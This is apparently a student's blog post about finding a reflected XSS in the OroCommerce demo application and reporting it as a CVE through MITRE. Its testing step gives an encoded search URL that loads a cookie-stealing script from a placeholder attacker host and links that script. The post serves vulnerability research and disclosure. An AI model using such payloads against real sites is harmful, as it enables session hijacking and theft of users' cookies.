How I discovered my first CVE

Intro:

In this article I will be discussing the methodology and steps I took to discover a two-click reflected XSS in the oroplatform’s demo content management system (CMS) application.

Background:

For my bachelor’s degree program, I was allowed to pick whatever capstone project related to CyberSecurity that I wanted. Since I had a vested interest in security research, I chose discovering CVE’s. To prepare for this I researched online using articles posted by other researchers on how they discovered and published CVE’s. For this application specifically I had joined a small research team on Discord of like-minded people who wanted to work together to find vulnerabilities. They suggested I tested this application: https://github.com/oroinc/orocommerce-application

Methodology:

1. Evaluate your strengths and prioritize what to look for.

Before I began testing, I evaluated what were my strengths. I had more experience testing black-box applications than performing static code analysis, so I decided to skip the white-box/static-code analysis step. I knew how to look for XSS, CSRF, SSRF, SQLi, SSTI, ATO. But I didn’t know how to always identify how these might look in code or more complicated ways to exploit them at that time.

2. Find an application to test.

In my scenario I was basically handed the application to test, the security researchers who recommended I tested this application were:
vainexploits@ https://vainxploits.me/
aquilo@ https://aquilo.omg.lol/

However, after testing this application I needed to continue my research to discover as many CVE’s as I could and/or in case it got rejected.

To do this; I utilized the following resource which was recommended by another researcher — jakesss@(Hello There! — jakesss)

https://medium.com/@dub-flow/the-easiest-way-to-find-cves-at-the-moment-github-dorks-29d18b0c6900

3. Build a VM to test the application in.

Typically, the applications are agnostic and will work on most, for this one I chose an Ubuntu 20.04. While pulling the application locally I keep track of all commands needed to deploy the application; the reasons for this are three-fold:

A. In case the install breaks, or breaks my VM. I can revert to last snap-shot and troubleshoot.

4. Follow the steps in the application to pull it locally.

For me that meant following the steps here:

5. Begin testing

Once everything was running, I browsed to the home page: http[:]//oro.demo
I noticed there was a search function, so I pasted a classic XSS script

Nothing happened, but I clicked the search bar, and the alert occurred.

The url looked like this:
http[:]//oro.demo/product/search?search=%3Cscript%3Ealert(1)%3C%2Fscript%3E&_rand=0.4732903277455287

So to demonstrate how an attacker might abuse this I started a web server on port 8080 serving the following code:

https://github.com/ZumiYumi/saiyan/blob/main/scripts/exploits/xss/stealcookie.js

Then I crafted the following link:

http[:]//vulnerable-website/product/search?search=%3Cscript%20src=%22http://attacker-ip:8000/cookie.js%3E%3C/script%3E&_rand=0.4732903277455287

An attacker could send this to a victim over email or some other means. If the victim has a current session and clicked the link, then click the search bar, this will result in a successful exfiltration.

This could also be paired with other exploits like CSRF or ATO.

6. Prepare the notes and submit to the appropriate CNA

MITRE is the default CNA (CVE Numbering Authority) it is the choice when a vendor doesn’t have an assigned CNA like oroplatform.

To discover this I searched oroplatform first in MITRE’s website here:

CVE — Search Results

Browse to the CNA’s reporting website like MITRE’s here:
https://cveform.mitre.org/

Follow the instructions there to submit the CVE.

7. Wait patiently/Work with the Vendor

For me it took about a month to get my reserved CVE ID, this is the actual CVE but the details of the vulnerability are not public. In the meantime you should try to work with the vendor by reporting it to them in a secure manner. Some websites have a security.txt, or their security tab of their github available to report it on. For me, I typically open a github issue if the alternatives are not present.

Typically, you should wait about 90 days from reporting the CVE to when it should be made public, exceptions can be made depending on the criticality and best judgement should be used.

8. Go public with the CVE

For this an easy method can be creating a repository on GitHub with the following format:
https://github.com/ZumiYumi/CVE-2024-50677

With this public repository you then contact the CNA in a similar matter as reporting a new one, you state that you would like to go public with it and give them the link to the repository.

Conclusion: